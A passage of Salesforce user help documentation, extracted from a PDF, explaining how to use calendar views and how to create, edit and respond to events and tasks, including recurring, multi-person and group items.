Tips on Using Calendar Views Consider the following when using calendar views: Reschedule an event by dragging the item on your calendar to a different time. For best results, place your mouse over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop calendar editing; see Enable Drag-and-Drop Editing on Calendar Views. Create an event by double-clicking a time slot and entering the details in an interactive overlay. Note that your administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on Calendar Views on page 1480. To change the default range of hours that your calendar displays, change the Start of day and End of day fields on your personal information page. For example, if your workday typically begins at 8:00 AM and ends at 6:00 PM, changing Start of day to 8:00 AM and End of day to 6:00 PM causes your daily and weekly calendar views to default to that range of hours.

122

Activities

Using the Calendar Day View

If you sync events from Outlook using Salesforce for Outlook, you may see a banner at the top of your calendar that links to a list of your unresolved events. These are synced Outlook events that still need to be assigned to Salesforce records.

See Also:
Viewing Event Details Creating Events Editing Events About Event Detail Overlays Customizing Activity Reminders Resolving Your Synced Outlook Events

Using the Calendar Day View


Available in: All Editions except Database.com

When viewing your calendar, click In the single user day view, you can:

to open the day view.

See the events scheduled for the specified day. See a list of tasks. You can change which tasks you see using the drop-down list. Hover your mouse over the subject of an event to see the details of the event in an overlay. Hover your mouse over the subject of a task to see the details of the task in an overlay. Note: The event detail or task detail overlays are hover popups that show information about the event or task and allow you to quickly edit or delete the event or task. The information presented on these overlays is configured by your administrator. See Defining Mini Page Layouts on page 2906 for details on configuring the event detail or task detail overlays.

Click a time such as 9:00 AM to add an event at that time. Alternatively, double-click a time slot to enter the details of the event in an interactive overlay. Note that your administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on Calendar Views on page 1480. Reschedule an appointment by dragging an item on your calendar to a different time. For best results, place your mouse over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop calendar editing; see Enable Drag-and-Drop Editing on Calendar Views on page 1480. Drag-and-drop editing is not available for multiday events.

Navigate the calendar using the calendar icons. Click Today to display the day view for today. Click [Change] to switch to the calendar of another user, a public calendar, or a resource calendar; see Viewing Other Calendars on page 126. Click [Share My Calendar] to set your personal calendar sharing; see Granting Access to Your Calendar on page 47.

123

Activities

Using the Calendar Week View

Click Printable View to display the current calendar view in a print-ready format; see Printing Your Calendar on page 127.

In the multi-user day view, you can view the events of multiple users for the specified day. For more information, see Using Multi-User Calendar Views on page 128. Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday), always displays on both days in calendar views.

See Also:
Using the Calendar Week View Using the Calendar Month View Viewing Event Details Creating Events Editing Events

Using the Calendar Week View


Available in: All Editions except Database.com

When viewing your calendar, click In single user week view, you can:

to open the week view.

See the events scheduled for the specified week. Hover your mouse over the subject of an event to see the details of the event in an overlay. Click the Add Event icon ( ) to add an event on the appropriate day. Alternatively, double-click a time slot to enter the details of the event in an interactive overlay. Note that your administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on Calendar Views on page 1480. Click the datefor example, 26 for March 26thto drill down to the day view for that day. Reschedule an appointment by dragging an item on your calendar to a different time. For best results, place your mouse over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop calendar editing; see Enable Drag-and-Drop Editing on Calendar Views on page 1480. Drag-and-drop editing is not available for multiday events.

Navigate the calendar using the calendar icons. Click This Week to display the week view for the current week. Click [Change] to switch to the calendar of another user, a public calendar, or a resource calendar; see Viewing Other Calendars on page 126. Click [Share My Calendar] to set your personal calendar sharing; see Granting Access to Your Calendar on page 47. Click Printable View to display the current calendar view in a print-ready format; see Printing Your Calendar on page 127. Select Show Weekends to display Saturday and Sunday.

124

Activities

Using the Calendar Month View

Tip: On account, contact, and lead list views, click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. Note that your administrator controls the availability of this feature. For more information, see Working with Drag-and-Drop Scheduling on page 140. In the multi-user week view, you can view the events of multiple users for the specified week. For more information, see Using Multi-User Calendar Views on page 128. Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday), always displays on both days in calendar views.

See Also:
Using the Calendar Day View Using the Calendar Month View Viewing Event Details Creating Events Editing Events

Using the Calendar Month View


Available in: All Editions except Database.com

When viewing your calendar, click In single user month view, you can:

to open the month view.

See the events scheduled for the specified month. Hover your mouse over the subject of an event to see the details of the event in an overlay. Click the Add Event icon ( ) to add an event on the appropriate day. Click the datefor example, 26 for March 26thto drill down to the day view for that day. Click the appropriate Week link to drill down to the week view for that week. Navigate the calendar using the calendar icons. Click This Month to display the month view for the current month. Click [Change] to switch to the calendar of another user, a public calendar, or a resource calendar; see Viewing Other Calendars on page 126. Click [Share My Calendar] to set your personal calendar sharing; see Granting Access to Your Calendar on page 47. Click Printable View to display the current calendar view in a print-ready format; see Printing Your Calendar on page 127.

In the multi-user month view, you can view the events of multiple users for the specified month. For more information, see Using Multi-User Calendar Views on page 128.

125

Activities

About Event Detail Overlays

Note: An event that spans more than one day (for example, a client meeting from 10 PM Friday to 2 AM Saturday), always displays on both days in calendar views.

See Also:
Using the Calendar Day View Using the Calendar Week View Viewing Event Details Creating Events Editing Events

About Event Detail Overlays


Available in: All Editions except Database.com

When viewing a calendar, you can hover your mouse over an event to display the event detail overlay. The event detail overlay is a hover popup that shows information about the event and allows you to quickly edit or delete the event. The information presented on the event detail overlay is configured by your administrator. See Defining Mini Page Layouts on page 2906 for details on configuring the event detail overlay. Depending on the layout of the event detail overlay, you may be able to click on fields on the overlay to see more detail. For example, if there is a contact associated with the event, and the event detail includes that information, you can click on the contact name to go to the contact detail page.

See Also:
Using Your Calendar and Tasks on the Home Page

Viewing Other Calendars


Available in: All Editions except Database.com

In a single user calendar view, you can switch to the calendar of another user, a public calendar, or a resource calendar: 1. Click [Change] to open the calendar lookup window. 2. As necessary, search for the desired calendar: a. Choose either User Calendars or Public Calendars & Resources from the drop-down list. b. In the Search field, enter all or part of the appropriate user, public calendar, or resource name. c. Click Go!. 3. Click the appropriate name to switch to that calendar.

126

Activities

Sharing Your Calendar

Note: When viewing a resource calendar, you cannot add a new event. You can add events to resource calendars only by inviting the resource to an event. To reset your view to your own calendar, click Back to My Calendar (not available in Personal Edition).

See Also:
Granting Access to Your Calendar Creating an Event in a Public or Resource Calendar Viewing Your Calendar

Sharing Your Calendar


Available in: All Editions except Database.com

From a calendar day, week, or month view, click Share My Calendar to change how others are allowed to view your calendar. For more information, see Granting Access to Your Calendar on page 47. Note: Regardless of whether your organization's sharing settings specify using hierarchies, activities associated with a record are still visible to users above the activitys assignee in the role hierarchy.

See Also:
Viewing Your Calendar Viewing Other Calendars

Printing Your Calendar


Available in: All Editions except Database.com

To print your calendar, click Printable View from any of the calendar views. On a printable view, you can: Click Print This Page to send the printable view to a printer. Click the Next arrow ( ) and Previous arrow ( ) to change the displayed date or dates. Click Today, This Week, or This Month depending on the view to display the current date or dates.

In addition: On day and week views, you can view a list of tasks that can be customized by selecting an option from the drop-down list.

127

Activities

Using Multi-User Calendar Views

On multi-user views, you can select an option from the Sort by drop-down list to customize the display. Select Time to include all users' events on a single calendar, or select User to display a separate calendar for each user.

See Also:
Viewing Your Calendar

Using Multi-User Calendar Views


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

To see several colleagues' calendars all on one page, click the Multi-User View icon ( When viewing multi-user calendars you can:

).

Select, edit, and create list views that determine which calendars display. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. See each person's availability. Consult the legend on the page to see which color indicates Busy or Out of Office time. If someone has multiple events scheduled for a particular time, all of those events display on the calendar. Note that an event marked as Free in the event details doesn't display in the multi-user calendar view. Hover your mouse over a colored bar to see more details about an event. Create an event and invite people. Check the boxes next to the people you want to invite and click New Event. Alternatively, click the Add Event ( ) icon for the appropriate day.

Consider these tips when viewing multi-user calendars. Administrators can choose whether event details display. For more information, see Show Event Details on Multi-User Calendar View on page 1242. Drag-and-drop editing is not available. The time range you see is determined by the Start of day and End of day fields on your personal information page. Events scheduled outside this time range don't display. To see these events, extend your Start of day or End of day times. Multi-user calendar views work differently in the partner portal. For example, partners can only view calendar information for people in their own company and their channel manager. For more information, download the Partner Portal User Help.

See Also:
Viewing Your Calendar Granting Access to Your Calendar Inviting People to an Event

Viewing Event Details


128

Activities

Viewing Event Details

Available in: All Editions except Database.com Multi-person events not available in: Personal Edition

To view the details of an event: Go to the Calendar section of the Home tab and hover your mouse over or click the subject of an event on the Schedule Meetings subtab. Only upcoming events display in the Calendar section. Once the event date has passed, the event displays on the Activity History related list. From a calendar view, hover your mouse over an event to see the event's details in an event detail overlay. On the detail page of an associated record, click the subject line of the event from the Open Activities or Activity History related lists.

To see all of your scheduled events for a specific day, week, or month, use the calendar icons to switch between different views.

Viewing Event Updates and Comments (Chatter)


Display a Chatter feed of updates, comments, and posts about the event. Note: Unlike other records, you don't auto-follow events or tasks in Chatter after you create them.

Viewing Multi-Person Event Details


For events with invitees, the detail page lists the users that have been invited and whether they have accepted or declined the event. If you've been invited to the event, click Accept Event or Decline Event to let the organizer know if you'll be attending the event. These buttons only appear for invitees (not organizers). You can clone a multi-person event from the event detail page. This lets you quickly create another event with the same invitees. However, you can't clone standard or recurring events.

Viewing Recurring Event Details


The recurrence icon ( ) identifies events that are part of a recurring series. To view the details of the individual event occurrence, select the View Event subtab (located above the task details). To view the details of the entire event series, select the View Series subtab . Note: If the organizer changes the start or end time of an individual event within a recurring series of events, the calendar view and the Calendar section of the Home tab show you the updated time. However, the detail view of the updated individual event continues to show you the original time until you accept or decline the series.

See Also:
About Event Detail Overlays Creating Events Editing Events Activity Fields

129

Activities

Creating Events

Creating Events
Available in: All Editions except Database.com

User Permissions Needed To create events: Edit Events

1. Begin creating an event by doing one of the following. From the Create New drop-down list in the sidebar, click Event. From the Calendar section of the Home tab, click New Event. From the Open Activities related list of an associated record, click New Event. On the calendar's day view, click the time when the event will begin. Alternatively, double-click a time slot to enter the details of the event in an interactive overlay. Note that your administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on Calendar Views on page 1480. On the calendar's week view, click the Add Event Icon ( ) next to a date to create an event on that date. Alternatively, double-click a time slot to enter the details of the event in an interactive overlay. Note that your administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on Calendar Views on page 1480. On the month view of the calendar, click the Add Event Icon ( ) next to a date to create an event on that date. On a multi-user calendar, select the users to invite, and click New Event.

2. Enter the details of the event, such as subject, start date and time, and end date and time. To assign the event to a partner user, select Partner User from the Assigned To drop-down list. Note: If multiday events are enabled for your organization, you can create events that last up to 14 days.

3. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Description field. Note that the Check Spelling button must be enabled separately for events and tasks. 4. Optionally, select Create Recurring Series of Events to specify how often the event recurs. For more information, see Creating Recurring Events on page 132. Note: No occurrence in a series of recurring events can last longer than 24 hours. Once the recurring event is created, you can extend the length of individual occurrences beyond 24 hours, if multiday events are enabled. To enable multiday events, see Customizing Activity Settings on page 1241. 5. Attach files as needed by clicking Add Attachment on the Attachments related list. If you don't see this related list, you may need to ask your administrator to add it to the event page layout. For recurring events, the attachment is added to the series of events. Each occurrence of the recurring event can also have its own unique set of attachments. 6. Optionally, set a reminder on the event by selecting Reminder and choosing how long before the event you want to be reminded. 7. Optionally, click Add Invitees to make the event a multi-person event to which users, contacts, leads, or resources are invited. For more information, see Inviting People to an Event on page 132.

130

Activities

Viewing Event Updates (Chatter)

8. Click Save. Alternatively, click Save & New Task to save the event and create a new task or Save & New Event to save and create an additional event.

See Also:
Editing Events Activity Fields Creating an Outlook Appointment for an Event

Viewing Event Updates (Chatter)


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Display a Chatter feed of updates, comments, and posts about the event. Note: If Chatter isn't enabled, contact your administrator.

Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed. To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full feed, above the update, click All Updates.

Following Events
When you follow an event, your Chatter feed includes field changes and event feed updates. Note: Unlike other records, you don't auto-follow events or tasks in Chatter after you create them.

To follow an event, click Follow. To stop following, click Following . The Followers list shows you who is following the event. To view a full list, click Show All.

See Also:
Chatter Overview Using Chatter Feeds

131

Activities

Creating Recurring Events

Creating Recurring Events


Available in: All Editions except Database.com

User Permissions Needed To create recurring events: Edit Events

A recurring event is an event that repeats in a series, for example a weekly staff meeting that occurs every Monday at 11:00 AM. This topic describes how to complete the Recurrence section on the New Event page. For general instructions on creating an event, see Creating Events on page 130. Note: No occurrence in a series of recurring events can last longer than 24 hours. Once the recurring event is created, you can extend the length of individual occurrences beyond 24 hours, if multiday events are enabled. To enable multiday events, see Customizing Activity Settings on page 1241. 1. Select the Create Recurring Series of Events checkbox. 2. Select the frequency of recurrence. Note: Depending on the type of series you are creating, the maximum number of occurrences is as follows: Daily: 100 Weekly: 53 Monthly: 60 Yearly: 10

3. Set the start date and end date. Click Calculate max end date to automatically set the maximum end date allowed based on the frequency you selected. 4. Optionally, set a reminder on the recurring event. The reminder applies to each occurrence in the event series. Note: You can't follow recurring events and tasks in Chatter, nor individual instances of recurring events and tasks. Changes to an individual event or task in a recurring series or to the series itself won't show up in your Chatter feed.

See Also:
Editing Recurring Events Inviting People to an Event Viewing Your Calendar

Inviting People to an Event

132

Activities

Inviting People to an Event

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To invite people to an event: Edit Events

You can invite users, contacts, leads, or resources to an event. An event with one or more invitees is marked with the multi-person event icon ( ). This topic describes how to complete the Invite Others section on the New Event page. For general instructions on creating an event, see Creating Events on page 130. 1. Click Add Invitees in the Invite Others section. 2. In the popup window, search for invitees: a. Select the appropriate type of invitee from the drop-down list: users, leads, contacts, or resources. Person accounts are returned in contact searches and can be added as invitees. b. Enter a name or part of a name in the text field, or leave the field blank to expand the search. c. Click Go!. 3. In the Search Results area, select the boxes next to the people you want to invite and click Insert Selected. To add more invitees, perform a new search and select more people as needed. Note: Events that occur only once can have a maximum of 1,000 invitees and resources. Recurring events with invitees can have a maximum of 100 invitees and resources. You must have at least read access to the contacts and leads you invite to an event. You must have at least Add Events on a resource to invite it to an event. 4. Click Done to add the selected people to the event. 5. Review the calendar of each invitee and adjust the date and time of the event, if necessary. The availability of invitees is indicated in color on their calendars: busy time is blue and out-of-office time is purple. If an invitee has more than one activity scheduled for a particular time, all of those events will be shown on the calendar. You can hover your mouse over any event on the calendar to see the event details. Note: Events marked as free are not displayed.

6. Click Save & Send Invitation.

133

Activities

Creating an Event in a Public or Resource Calendar

Invited leads, contacts, and person accounts receive an email containing a link to a web page where they can accept or decline the invitation for the event or event series. You will also receive an email summary of the event. If an invited resource is available at the given time, it will automatically accept the invitation. You can't double-book resources.

See Also:
Responding to Events Editing Events Creating Recurring Events Viewing Your Calendar

Creating an Event in a Public or Resource Calendar


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create an event in a public or resource calendar: Edit Events

Adding Events to Public Calendars


To add an event to a public calendar: 1. On a calendar view, click [Change] to switch to the appropriate public calendar. 2. Choose the appropriate time and date of the new event: On the day view, click a time such as 9:00 AM to add an event at that time. On the week or month view, click the Add Event icon ( ) to add an event on a particular date.

3. Enter the details of your event. For details, see Creating Events on page 130. 4. Click Save. Alternatively, click Save & New Task to save the event and immediately begin creating a new task or Save & New Event to save and begin creating an additional event.

Adding Events to Resource Calendars


To add an event to a resource calendar, invite the resource to the event. For details, see Inviting People to an Event on page 132.

See Also:
Editing an Event in a Public or Resource Calendar Managing Public and Resource Calendars Viewing Your Calendar

Editing Events
134

Activities

Editing Events

Available in: All Editions except Database.com

User Permissions Needed To edit events: Edit Events

Review the following considerations about who can edit events: Permission to edit other users events is controlled by your organization's calendar sharing model and your personal calendar sharing. However, regardless of these settings, managers in the role hierarchy can always edit the events of people who report to them. Private events can be edited only by the event owner (the user assigned to the event) and users with the Modify All Data permission.

1. To edit an event, begin from one of the following locations. On the Home tab, click the subject of an event listed in the Calendar section, and then click Edit. Alternatively, hover your mouse over the subject of an event to display the details of the event in an overlay, and then click Edit. On a calendar view, click the subject of an event. Alternatively, hover your mouse over an event to see the event's details, and then click Edit. On single user daily and weekly calendar views: Reschedule an event by dragging the item on your calendar to a different time. For best results, place your mouse over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop calendar editing; see Enable Drag-and-Drop Editing on Calendar Views. Drag-and-drop editing is not available for multiday events. Create an event by double-clicking a time slot and entering the details in an interactive overlay. Note that your administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on Calendar Views on page 1480. On the Open Activities or Activity History related list of an associated record, click Edit next to the appropriate event. On an activities list view, click Edit next to the appropriate event.

2. Edit the event fields as needed. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Description field. Note that the Check Spelling button must be enabled separately for events and tasks. 3. Optionally, set a reminder on the event by selecting Reminder and choosing how long before the event you want to be reminded. 4. Attach files as needed by clicking Add Attachment on the Attachments related list. If you don't see this related list, you may need to ask your administrator to add it to the event page layout. For recurring events, the attachment is added to the series of events. Each occurrence of the recurring event can also have its own unique set of attachments.

135

Activities

Editing Multi-Person Events

5. Click Save.

See Also:
Editing Multi-Person Events Editing Recurring Events Editing an Event in a Public or Resource Calendar Creating Events Activity Fields

Editing Multi-Person Events


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit multi-person events: Edit Events

Multi-person events are marked with the multi-person event icon ( ). To change the details of a multi-person event that you own: 1. Open the detail page of the event and click Edit. 2. Change the details and invitees of the event as desired. In the Email Option drop-down list, choose whether to send an email update to all invited users or only the users you added or deleted during editing. 3. Click Save & Send Update to save the event and send an update email to the invitees. Alternatively, click Save to save your changes without sending an email. All changes will be reflected on the calendars of invited users. Note: You can only edit a multi-person event if you are the event owner. As the event owner, you don't receive email when an invitee accepts or declines an invitation. You can reassign a multi-person event to a new owner unless the event is part of a recurring event series.

See Also:
Responding to Events Editing Recurring Events Editing Events Viewing Event Details

Editing Recurring Events

136

Activities

Editing Recurring Events

Available in: All Editions except Database.com

User Permissions Needed To edit recurring events: Edit Events

Note: You can't follow recurring events and tasks in Chatter, nor individual instances of recurring events and tasks. Changes to an individual event or task in a recurring series or to the series itself won't show up in your Chatter feed. To change the details of an event that is part of a series of events: 1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record, and then click the View Event subtab. Alternatively, mouse over the event in any calendar, and click Edit. 2. Click Edit Event. 3. Change the event fields. 4. If this is an multi-person event, choose whether to send an email update to all invited users or just the users you added or deleted during editing. Click Save & Send Update to save the event and send an update email, or just click Save to save your changes without sending an email. All changes will be reflected on the calendars of users that have accepted the event. Note: Changes made to a future event that is part of a series of recurring events will be overwritten if the series frequency is changed.

To change the details of a series of events: 1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record. 2. Select the View Series subtab and then click the Edit Series button. Alternatively, click the Edit Series link in the Recurrence section of the detail page. 3. Modify the fields for this series of events. Changes made will not affect events in the series that have occurred in the past. Caution: If you change any of the details in the recurrence section of the series, all future events that were part of the series will be deleted and new events will be created. Any changes made to individual events that have not yet occurred, including any responses from invitees, will be lost. 4. If the series includes invitees, and you want to notify all the invitees of the changes, click Save & Send Update. If you do not want to send updates to all invitees, click Save. Note: If you have changed the time or frequency of the events in the series, and you do not send updates, the response status (accepted, declined, or not responded) for each invitee will not change. If the invitee did not decline

137

Activities

Editing an Event in a Public or Resource Calendar

the original invitation, the events will be added to the invitee's calendar. If you extend the end date but make no other changes, existing events responses will not be changed unless you send updates.

See Also:
Creating Recurring Events Editing Multi-Person Events Editing Events

Editing an Event in a Public or Resource Calendar


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit an event in a public or resource calendar: Edit Events

Note: Permission to edit events in public and resource calendars is controlled by the calendar sharing model.

1. On a calendar view, click [Change] to switch to the appropriate public calendar. 2. To edit an event, begin from one of the following locations. On the Home tab, click the subject of an event listed in the Calendar section, and then click Edit. Alternatively, hover your mouse over the subject of an event to display the details of the event in an overlay, and then click Edit. On a calendar view, click the subject of an event. Alternatively, hover your mouse over an event to see the event's details, and then click Edit. On single user daily and weekly calendar views: Reschedule an event by dragging the item on your calendar to a different time. For best results, place your mouse over the subject line of the event before dragging it. If the item is a recurring event ( ), only the single occurrence that you drag is changed, not the entire series. Note that your administrator controls the availability of drag-and-drop calendar editing; see Enable Drag-and-Drop Editing on Calendar Views. Drag-and-drop editing is not available for multiday events. Create an event by double-clicking a time slot and entering the details in an interactive overlay. Note that your administrator controls the availability of click-and-create events; see Enable Click-and-Create Events on Calendar Views on page 1480. On the Open Activities or Activity History related list of an associated record, click Edit next to the appropriate event. On an activities list view, click Edit next to the appropriate event.

3. Change the event fields as needed.

138

Activities

Responding to Events

4. Click Save.

See Also:
Managing Public and Resource Calendars Creating an Event in a Public or Resource Calendar Editing Multi-Person Events Editing Events

Responding to Events
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

When another user invites you to an event, you receive an email containing a link to the event. The event also displays on your Home tab if your home page layout includes your calendar. To accept or decline the event: 1. Click the event description. 2. Optionally, enter a response. 3. If the event is a single event, click Accept Meeting or Decline Meeting. If you have been invited to a series of events, click Accept Series or Decline Series. Note: If you want to attend some of the events in a series of events, but want to decline other events in the series, accept the series and then decline the specific events you will not attend.

To create an Outlook appointment for your event, click Add to Outlook. The event immediately opens in Outlook. If it does not open, save it to your computer as a .vcs file, open the file with Outlook, and then save the event. The Outlook appointment is tagged with the salesforce.com category so that duplicates are not created during synchronization.

See Also:
Inviting People to an Event Editing Multi-Person Events Viewing Activities

Creating an Outlook Appointment for an Event


Available in: All Editions except Database.com

To add an event to Outlook: 1. Select an event from the Calendar on the Home tab or from the Open Activities or Activity History related list of a record. 2. Click Add to Outlook.

139

Activities

Working with Drag-and-Drop Scheduling

3. Click open to immediately add it to Outlook, or save it to your computer as a .vcs file. If you save it as a .vcs file, import the file with Outlook. The Outlook appointment is added to the salesforce.com folder. Consider the following when adding an event to Outlook. When viewing the event added in Outlook, the description doesn't display line breaks that were entered in the event's Description field. Any line breaks are replaced by two spaces in the .vcs file. You can also sync your Salesforce events to Outlook using Salesforce for Outlook.

See Also:
Creating Events Using Connect for Outlook Salesforce for Outlook Overview

Working with Drag-and-Drop Scheduling


Available in: All Editions except Database.com

User Permissions Needed To enable drag-and-drop scheduling: To create events: Customize Application Edit Events

Drag-and-drop scheduling enables you to create events associated with records by dragging records from list views on to weekly calendar views and entering the details of the event in an overlay. This allows you to schedule events without leaving the list view page. Drag-and-drop scheduling is available on list views for accounts, contacts, and leads. After your administrator sets up drag-and-drop scheduling, you can click the Open Calendar link at the bottom of a list view to display a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. When the calendar is open, you can: Select the Change link to switch to any calendar to which you have access Click the Previous Week ( ) and Next Week ( ) icons to view the previous or next weeks in the calendar Click the Date Picker icon ( ) to choose a specific date on which to view the calendar Select the This Week link to view the current week in the calendar Select the Show Weekends checkbox to display weekends on the calendar Click the Close icon ( ) to close the calendar at any time. Alternatively, you can click the bottom of the list view to close the calendar. Drag the bar in between the list view and calendar to resize the height of either one Close Calendar link at the

Setting Up Drag-and-Drop Scheduling


Users with the Customize Application permission can set up drag-and-drop scheduling. To set up drag-and-drop scheduling:

140

Activities

Viewing Tasks

1. Click Your Name > Setup > Customize > User Interface. 2. Select the Enable Drag-and-Drop Scheduling on List Views checkbox. To select the Enable Drag-and-Drop Scheduling on List Views checkbox, you must select the Enable Drag-and-Drop Editing on Calendar Views and Enable Click-and-Create Events on Calendar Views checkboxes. For more information, see Customizing User Interface Settings on page 1477. 3. Click Save. 4. Optionally, define event mini page layouts to include the fields you want users to update in the event edit overlay: a. b. c. d. Click Your Name > Setup > Customize > Activities > Event Page Layouts Select an events page layout name. Click Mini Page Layout. Select which fields to display in the event edit overlay. For more information, see Defining Mini Page Layouts on page 2906. e. Click Save.

Tips on Drag-and-Drop Scheduling


Consider the following for drag-and-drop scheduling: The Open Calendar link only appears at the bottom of list views for accounts, contacts, and leads. Drag-and-drop scheduling is not available for the Console tab, multi-person events, recurring events, accessibility mode, or Connect Offline. List views that include drag-and-drop scheduling may take slightly longer than usual to display. We recommend adding the All Day Event field to the event mini page layout, as that field is not automatically added to event mini page layouts. The All Day Event field allows users to specify whether an event lasts all day. Drag-and-drop scheduling includes enhanced lists; however, you do not need to enable enhanced lists for drag-and-drop scheduling to work. For more information, see Working with Enhanced Lists on page 244. When you drag the bar in between the list and calendar to resize either one, the size is automatically saved for all views in which you use drag-and-drop scheduling. You can resize the list and calendar at any time.

See Also:
Creating Custom List Views

Viewing Tasks
Available in: All Editions except Database.com

Tasks allow you to track the specific actions you plan to perform or have performed, such as making phone calls or sending mail. To view the details of a task, click the task's subject from any of the following locations: The My Tasks section of the Home tab The calendar day view An activities list view The Open Activities related list on an associated record

141

Activities

Creating Tasks

The Activity History related list on an associated record

The recurrence icon ( ) identifies tasks that are part of a recurring series. To view the details of the individual task occurrence, select the View Task subtab (located above the task details). To view the details of the entire task series, select the View Series subtab . If your organization has enabled Email-to-Case or On-Demand Email-to-Case, some tasks may be associated with Email-to-Case or On-Demand Email-to-Case emails. Click the link at the top of the task to view the associated email. See Working with Case Emails on page 2818 for more information. If the task is an email that was sent to Salesforce using Email to Salesforce or Salesforce for Outlook, you may see a banner at the top of the email detail page with a link to the My Unresolved Items page. Use this page to assign any unassociated emails to related Salesforce records.

See Also:
Creating Tasks Editing Tasks Closing Tasks Using Your Calendar and Tasks on the Home Page Activity Fields

Creating Tasks
Available in: All Editions except Database.com

User Permissions Needed To create tasks: Edit Tasks

Track the tasks you plan to perform or have performed, such as making phone calls or sending mail. 1. To create a task, do one of the following. Click New from the My Tasks section of the Home tab Click Task from the Create New drop-down list in the sidebar Click New Task from the Open Activities related list of an associated record

You can also create tasks from other locations in Salesforce. 2. If you have an option to select a task record type, choose one from the drop-down list and click Continue. Note: When you create a task with a non-default record type and its part of a recurring series, your recurring task will still default to the default record type. Additionally, any picklist fields associated with the default record type will not display. 3. Enter the details of the task.

142

Activities

Creating Tasks

Assigned ToAssigned owner of task. By default, the task is assigned to the creator. To assign the task to another

user, enter a users name, or select a user with the lookup icon. This field is not available in Personal Edition. To assign independent copies of a new task to multiple users, see Creating Group Tasks on page 144. SubjectSubject or short description of the task, for example, Email quote to customer. You can enter a subject, or select from a picklist of previously defined subjects. Due Date (optional)Date when the task should be completed. You can enter a date, or choose a date from the calendar that displays when you put your cursor in the field. Comments (optional)Text note describing the task. Related To (optional)Record that the task is associated with such as an account or opportunity. This field is not available when you associate the task with a lead instead of a contact. Name (optional)Contact or lead associated with the task. You can enter the name of the person or use the lookup icon to select the name.

4. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the contents of the Comments field. Note that the Check Spelling button must be enabled separately for events and tasks. Spell Checker does not support all the languages that Salesforce supports. For example, Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese, are not supported. 5. Attach files as needed by clicking Add Attachment on the Attachments related list. If you don't see this related list, you may need to first ask your administrator to add it to the task page layout. For recurring tasks, the attachment is added to the series of tasks. Each occurrence of the recurring task can also have its own unique set of attachments. Sending a notification email also sends the attachment. 6. Specify the status and priority of the task. 7. Select the Send Notification Email checkbox to send a notification email to the task's assignee when you save the task. To save the current state of the checkbox as your personal default, select Make this the default setting. 8. To create a recurring task: a. Select the Create Recurring Series of Tasks checkbox. The Due Date field is disabled because recurring tasks do not all have the same due dates. b. Select the frequency of recurrence. Note: Depending on the type of series you are creating, the maximum number of occurrences is as follows: Daily: 100 Weekly: 53 Monthly: 60 Yearly: 10

c. Set the start date and end date. Click Calculate max end date to automatically set the maximum end date allowed based on the frequency you selected. 9. Optionally, set a reminder on the task. If you're creating a recurring task, the reminder applies to each occurrence in the task series.

143

Activities

Creating Group Tasks

10. Click Save, Save & New Task or Save & New Event.

See Also:
Using Your Calendar and Tasks on the Home Page Using the Open Activities Related List Viewing Tasks Editing Tasks Setting Reminders on Activities

Creating Group Tasks


Available in: All Editions except Database.com

User Permissions Needed To create tasks: Edit Tasks

You can create a task so that up to 100 users are each assigned an independent copy of the task. For example, you could create a task Submit your expense reports with the appropriate due date and assign it to a team of account executives. This functionality is enabled by default, but your administrator can choose to disable it for your organization. For more information, see Customizing Activity Settings on page 1241. To create a group task: 1. On the New Task page, click the lookup icon ( ) next to the Assigned To field. 2. In the lookup window, select the Multiple Users tab. 3. Users can be organized into various categories such as personal groups, public groups, roles, or territories. In the Search drop-down list, select the appropriate option. 4. Optionally, enter one or more characters in the text box and click Find to perform a search. 5. In the Available Members list, click one or more items to select them. Press CTRL+click to select multiple items individually, or SHIFT+click to select multiple adjacent items at the same time. 6. Click the Add and Remove buttons to move your selections between the lists. 7. When the appropriate choices are in the Selected Members list, click Done. If your selections total more than 100 users, you must reduce your selections before you can proceed. 8. On the New Task page, see your selections display next to the Assigned To field. The total number of tasks you are creating also displays. 9. Continue entering task details such as due date, status, and comments. Note: When a task is assigned to multiple users or a group, the Create Recurring Series of Tasks checkbox is disabled. You cannot create group recurring tasks. 10. When you save the task, your selected users will be assigned copies of the task. Note that these copies are independent and not linked; they can be edited, transferred, or deleted individually.

144

Activities

Editing Tasks

Tip: Personal groups are a convenient way to organize users into groups that are meaningful to you. For details, see Creating and Editing Groups on page 555.

See Also:
Creating Tasks

Editing Tasks
